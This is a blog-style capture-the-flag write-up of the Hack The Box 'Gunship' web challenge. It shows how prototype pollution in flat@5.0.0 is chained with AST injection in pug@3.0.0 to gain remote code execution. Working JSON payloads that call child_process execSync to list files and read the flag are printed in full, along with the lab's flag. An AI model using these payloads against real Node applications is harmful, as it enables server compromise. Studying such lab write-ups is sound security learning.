0xAzoz@ubuntu:~$ ▍

/0xAzoz

Bug Bounty Hunter β€’ Web Security Researcher

🐞 HTB CTF: Gunship – Prototype Pollution to RCE via Pug & Flat

2025-05-16
Prototype PollutionRCENodeJSHTBPugFlat

Ψ¨Ψ³Ω… Ψ§Ω„Ω„Ω‡ Ψ§Ω„Ψ±Ψ­Ω…Ω† Ψ§Ω„Ψ±Ψ­ΩŠΩ…

HTB Challenge: Prototype Pollution to RCE via Flat & Pug

πŸ“… Date: May 16, 2025
🎯 Difficulty: VERY EASY
πŸ‘¨β€πŸ’» Author: 0xAzoz
πŸ“ Category: Web Exploitation, Prototype Pollution, RCE


πŸ•ΈοΈ About the Challenge Website

The page displays a simple form asking:
"Who's your favourite artist?"

When you enter any random name, the server responds with:
"Please provide us with the full name of an existing member."

By inspecting the source code (routes/index.js), we find:

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

    if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
        return res.json({
            'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
        });
    } else {
        return res.json({
            'response': 'Please provide us with the full name of an existing member.'
        });
    }
});

So entering Haigh, Westaway, or Gingell will return:

"Hello guest, thank you for letting us know!"


🧠 First Thoughts

When I saw the challenge had flat@5.0.0 and pug@3.0.0, I knew something interesting was coming β€” both of those have known vulnerabilities. My gut feeling was that it might involve prototype pollution leading to some kind of templating injection... and I was right.


🐞 Vulnerability Discovery

1. flat@5.0.0 – Prototype Pollution

From Snyk:

var unflatten = require('flat').unflatten;

unflatten({
  '__proto__.polluted': true
});

console.log(polluted); // true

➑️ Clear sign of prototype pollution.


2. pug@3.0.0 – Remote Code Execution (RCE)

From Snyk pug advisory:

If the pretty option is controllable via user input, RCE is possible

That meant combining polluted prototype + pug rendering = remote code execution


🧬 Finding the Injection Point

In the source code challenge/routes/index.js I found this logic:

if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
  return res.json({
    'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
  });
}

Then I verified prototype pollution via the json spaces trick:

Normal Request:

{ "artist.name": "Westaway" }

➑️ Returned ( in raw ):

{"response":"<span>Hello guest, thank you for letting us know!</span>"}

With __proto__ Injection:

{
  "artist.name": "Westaway",
  "__proto__": {
    "json spaces": " "
  }
}

➑️ Returned:

{
  "response": "<span>Hello guest, thank you for letting us know!</span>"
}

Confirmed: JSON response was now prettified = __proto__ is polluted!


Exploiting AST Injection in Pug

Thanks to HackTricks and PortSwigger, I knew this PoC would trigger code execution:

"__proto__.block": {
  "type": "Text", 
  "line": "process.mainModule.require('child_process').execSync(`ls > /app/static/js/ls.txt`)"
}

The server was running Node and copying files into /app/ '( you can review the Dockerfile )' I confirmed this by reading /static/js/ls.txt:

flag
index.js
node_modules
...

Then I extracted the flag using:

"__proto__.block": {
  "type": "Text", 
  "line": "process.mainModule.require('child_process').execSync(`cat flag > /app/static/js/flag.txt`)"
}

Visited:
http://94.237.123.87:41163/static/js/flag.txt

HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}

Lessons Learned


References

- Snyk – flat@5.0.0 Vulnerability
- Snyk – pug@3.0.0 RCE
- PortSwigger – JSON Spaces
- HackTricks – Prototype Pollution in NodeJS
- Wayback: p6.is Blog – AST Injection in Pug


This was a fun and rewarding challenge. Keep Googling, keep testing, keep polluting with style πŸ˜‰ ( it took me about 3 hours β€” got stuck while googling for an exploitable payload )

← Back to Home